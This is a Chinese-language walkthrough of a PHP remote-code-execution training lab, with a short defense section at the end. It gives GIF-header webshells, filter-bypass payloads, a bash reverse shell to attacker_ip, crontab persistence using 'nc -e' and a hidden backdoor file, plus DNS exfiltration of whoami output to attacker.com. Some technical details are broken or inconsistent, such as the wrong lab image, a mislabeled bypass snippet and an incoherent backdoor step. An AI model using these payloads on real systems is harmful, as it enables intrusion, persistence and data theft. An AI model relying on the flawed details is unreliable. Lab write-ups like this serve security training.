☰
RCE漏洞实战:Level13靶场绕过与防御
2026/10/28 11:57:16 网站建设 项目流程

1. 项目背景与目标

RCE-labs-level13是一个专门用于训练远程代码执行(RCE)漏洞挖掘与利用的靶场环境。作为网络安全学习路径中的重要一环,它模拟了真实Web应用中常见的代码执行漏洞场景,特别适合有一定基础的渗透测试学习者进行实战演练。

这个靶场的设计初衷是帮助安全研究人员:

  • 理解RCE漏洞的产生原理
  • 掌握不同场景下的漏洞利用技巧
  • 学习防御和修复这类高危漏洞的方法

Level13通常代表该系列靶场中较高难度的挑战,可能涉及:

  • 非常规的代码执行方式
  • 多重过滤机制的绕过
  • 受限环境下的利用技巧

2. 环境准备与基础配置

2.1 靶场部署方案

推荐使用以下两种方式搭建实验环境:

  1. Docker一键部署(适合快速开始):
docker pull vulhub/upload-labs docker run -d -p 8080:80 vulhub/upload-labs
  1. 本地环境搭建(适合深度研究):
  • 需要准备:
    • PHP 7.0+环境
    • Apache/Nginx服务器
    • 基础数据库(MySQL/MariaDB)
  • 配置要点:
    • 确保allow_url_include=On
    • 关闭不必要的危险函数(如disable_functions)
    • 设置合适的文件权限

注意:建议在虚拟机或隔离环境中运行靶场,避免对真实系统造成影响。

2.2 必要工具准备

进行RCE漏洞测试需要以下核心工具集:

工具类别推荐工具主要用途
代理拦截Burp Suite请求修改与重放
编码工具CyberChef各种Payload编码转换
漏洞利用Metasploit生成利用代码
文件传输Netcat建立反向Shell
调试分析XdebugPHP代码调试

3. RCE漏洞原理深度解析

3.1 漏洞形成机制

远程代码执行漏洞通常源于以下场景:

  1. 危险函数调用:

    • eval()直接执行字符串代码
    • system()/exec()执行系统命令
    • preg_replace()的/e修饰符
  2. 文件包含漏洞:

    • include/require动态加载
    • 日志文件注入
    • 临时文件利用
  3. 反序列化漏洞:

    • unserialize()触发魔术方法
    • POP链构造

3.2 Level13的特殊过滤机制

根据同类靶场设计模式,Level13可能设置了以下防护:

  1. 关键词过滤:

    • 黑名单:system,exec,passthru等
    • 特殊字符:$,{,},'等
  2. 执行环境限制:

    • 禁用危险函数
    • 开启safe_mode
    • 限制文件写入权限
  3. 输入验证机制:

    • 严格的内容类型检查
    • 文件头校验
    • 内容特征检测

4. 漏洞利用实战步骤

4.1 初步信息收集

  1. 确定注入点:

    • 测试所有用户输入参数
    • 检查文件上传功能
    • 分析Cookie和HTTP头
  2. 探测过滤规则:

    • 尝试基础Payload:<?php phpinfo();?>
    • 测试各种编码方式:
      • Base64
      • URL编码
      • Hex编码
  3. 环境信息获取:

    • 通过phpinfo()查看配置
    • 检查可写目录
    • 确认网络连通性

4.2 无字符RCE绕过技术

当常规字符被过滤时,可尝试以下方法:

  1. 异或绕过:
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
  1. 取反绕过:
$__=('>'>'<')+('>'>'<'); // $__=2; $_=$__/$__; // $_=1; $____=''; $____.=$_.$_++; // '1' $____.=$_.$_++; // '12' $____.=$_.$_++; // '123' // 最终可构造任意数字
  1. 自增技巧:
$_=[]; $_=@"$_"; // Array $_=$_['!'=='@']; // A $___=$_++; // B $____=$_++; // C // 通过自增可得到所有字母

4.3 文件上传结合RCE

当直接代码执行被拦截时,可尝试文件上传+包含的组合攻击:

  1. 制作特殊图片马:
echo '<?php system($_GET["cmd"]);?>' >> normal.jpg
  1. 二次渲染绕过:
  • 分析目标图像处理逻辑
  • 在EXIF数据中插入代码
  • 利用IEND区块注入
  1. 条件竞争利用:
  • 快速上传.php.临时文件
  • 在删除前包含执行

5. 防御方案与修复建议

5.1 代码层防护

  1. 输入过滤:
// 白名单过滤示例 $allowed = ['jpg', 'png', 'gif']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if(!in_array($ext, $allowed)) { die('Invalid file type'); }
  1. 函数替代方案:
  • 用htmlspecialchars()替代直接输出
  • 使用escapeshellarg()处理命令参数
  • 选择安全的模板引擎
  1. 配置加固:
  • php.ini设置:
    • disable_functions = exec,system,passthru...
    • open_basedir限制目录
    • allow_url_include = Off

5.2 架构层防护

  1. WAF规则配置:
  • 拦截常见RCE特征:
    • eval(
    • base64_decode(
    • system(
  1. 运行环境隔离:
  • 使用Docker容器
  • 配置低权限用户
  • 启用SELinux/AppArmor
  1. 日志监控:
  • 记录所有文件操作
  • 监控异常进程创建
  • 设置敏感操作告警

6. 靶场通关实战记录

6.1 初始探测过程

  1. 发现文件上传接口,但限制.php扩展名
  2. 尝试修改Content-Type为image/jpeg被拦截
  3. 测试.htaccess文件上传失败
  4. 分析发现检查文件头信息

6.2 突破过滤的关键步骤

  1. 制作包含GIF89a头的webshell:
GIF89a <?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
  1. 使用Burp修改上传请求:
POST /upload.php HTTP/1.1 ... Content-Disposition: form-data; name="file"; filename="shell.gif" Content-Type: image/gif GIF89a <?php system($_GET['cmd']);?>
  1. 利用文件包含漏洞执行:
http://target/include.php?file=uploads/shell.gif&cmd=id

6.3 权限提升与维持

  1. 获取反向Shell:
# 攻击机监听 nc -lvnp 4444 # 靶机执行 bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
  1. 建立持久化后门:
# 写入计划任务 echo "* * * * * root nc -e /bin/bash attacker_ip 5555" >> /etc/crontab # 或者创建隐藏后门文件 mv /usr/bin/.ssh /usr/bin/.sshd echo '#!/bin/bash\n/bin/bash' > /usr/bin/.ssh chmod +x /usr/bin/.ssh

7. 经验总结与技巧分享

在实际渗透测试中,遇到类似Level13的严格过滤环境时,我总结出以下实用技巧:

  1. 多维度编码测试:

    • 尝试不同编码组合:UTF-7、UCS-2、HTML实体
    • 使用动态属性名:$_GET['a']vs${"_GET"}[a]
  2. 非常规执行路径:

    • 利用.user.ini的auto_prepend_file
    • 通过PHP流包装器:php://filter/convert.base64-encode/resource=
  3. 环境特性利用:

    • Linux下/proc/self/environ注入
    • Windows下短文件名特性
  4. 日志污染技巧:

    • 在User-Agent中注入代码
    • 通过404页面记录Payload
  5. 盲注检测方法:

    • 使用时间延迟:sleep(5)
    • DNS外带数据:nslookup $(whoami).attacker.com

对于防御方,建议定期进行以下检查:

  • 文件上传目录设置为不可执行
  • 禁用不必要的PHP函数
  • 对用户输入实施严格的类型和内容检查
  • 保持系统和应用的最新补丁状态

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询